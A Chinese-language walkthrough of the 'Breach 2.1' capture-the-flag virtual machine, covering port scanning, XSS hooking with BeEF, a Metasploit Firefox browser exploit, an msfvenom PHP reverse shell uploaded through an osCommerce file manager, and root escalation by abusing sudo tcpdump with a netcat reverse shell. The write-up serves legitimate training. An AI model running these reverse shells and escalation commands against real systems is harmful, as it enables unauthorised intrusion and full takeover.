Breach 2.1
Breach 2.1
一、基本信息
名称:Breach 2.1
发布日期:2016.8.15
作者:mrb3n
系列:Breach
推特:@mrb3n813
二、靶机简介
Flags:
root:/root/.flag.py
难度:中等
三、文件信息
文件名:Breach-2_final2.1.zip
文件大小:1.3GB
下载地址:
MD5: 90E8871E8EB68ADBEB82659FE1F11831
SHA1: 069B529B6701FDF9F82840F9918842921FFB7A1E
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:禁用
IP地址:192.168.110.151
六、环境配置
1.将靶机Breach2在Vmware下设置为仅主机模式,并修改ip为192.168.110.151,这里演示的是mac环境下Vmware Fusion 11,只能命令修改host-only的ip(记得备份),命令如下:
1 sudo vi /Library/Preferences/VMware\ Fusion/networking2.将攻击机kali2021也选择用仅主机模式链接,启动,保证与靶机Breach在同一网段下,这里kali2021的ip为192.168.110.2。
七、攻略步骤
靶机端口扫描
1.Kali2021先用nmap对192.168.110.151(Breach2)扫描,发现SSH端口不是22而修改为了65535:
1 nmap -A -p- 192.168.110.151 (端口扫描)2.尝试访问ssh,命令为:ssh 192.168.110.151 -p 65535,会发现被告知Peter用户密码就在源码内,于是尝试用peter链接,密码inthesource,可以成功链接,但很快就被断开:
3.再次使用nmap基础扫描,发现80端口开放了,可以进行访问,而访问页面查看源码并没有多余线索,但是页面图片是BEEF,算是提示吧:
网站目录爆破,XSS注入
1.使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录:
2.我们访问后发现是博客页,且有搜索框,明显有XSS,这里进一步可以用sqlmap进行数据库爆破,但我们暂且没有登录窗口:
3.使用BeEF,在博客的注册页提交payload,返回主页点开消息提示触发,可以观察到主机已经上线,并且得到靶机浏览器为Firefox 15,有可利用漏洞:
Msf利用漏洞,构造shell
1.启动msfconsole来利用漏洞:
1
2
3
4
5
6 use exploit/multi/browser/firefox_proto,进入要利用的exp框架
set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload
set srvhost 192.168.110.2,设置exp所需要的服务端地址,也就是攻击机的ip
set uripath shell,设置exp攻击成功之后的url目录
set lhost 192.168.110.2,设置payload的ip地址
run,启动一次攻击,生成利用的url连接2.利用BeEF的Redirect Browser模块,输入之前msf生成的url,得到session:
3.因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell,再次在BeEF中按下execute,得到session后立刻输入命令:
1
2
3 use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块
set session 2,设置要转义的session号,这里我是session 2
run,启动转移,成功转义,获得稳定的shell,session 34.使用session 3,构造shell:
1
2 sessions -i 3
python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell
用户搜寻
1.继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口,可以尝试链接一下,得到的是一个地理坐标:
2.这个地理坐标是休斯敦(Houston)的一个公园,很有可能是一个密码信息,而我们之后对帐户进行搜寻,发现了一个milton的帐户:
3.随即想到使用telnet登录milton,密码为Houston,但之后又有问题:
4.只能再去milton用户目录去寻找线索,在用户目录下发现了cd.py文件,查看源码知道刚才问题的答案是mine:
5.重新利用telnet登录milton,再次查看端口开放,发现有8888端口开放,有OScommerrce页面,且可以访问管理页面:
反弹shell,准备提权
1.首先管理页面用admin帐户登录,密码也是admin,算是一个弱口令,其实之前利用sqlmap就已经爆破出来了:
2.进入管理后台,发现Tools – File Manager – includes – work是有写入权限的,我们可以用msf制作一个反弹shell,进行上传:
3.msf生成反弹shell:
1
2
3
4
5
6
7 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.2 LPORT=5555 -f raw > shell.php,生成反弹shell脚本
msfconsole
use exploit/multi/handler,切换exp模块
set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload
set lhost 192.168.110.123,设置用来接收shell的ip
set lport 5555,就是之前生成后门所设置的端口
run,启动exp,等待接收shell4.把生成的shell.php上传到work目录下,对shell.php进行访问后,可以看到msf能够进行shell,且登录用户为blumbergh:
提权,获取flag
1.开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump:
2.那么可以利用tcodump进行提权,命令如下:
1
2
3
4 nc -lvvp 1993,kali2021开启一个监听端口
echo "nc 192.168.110.2 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh,给shell.sh脚本执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令3.进入/root目录下,寻找flag,这里全是隐藏文件,命令如下:
1
2
3 cd /root,进入root目录
ls -la,查看隐藏文件
python .flag.py,显示flag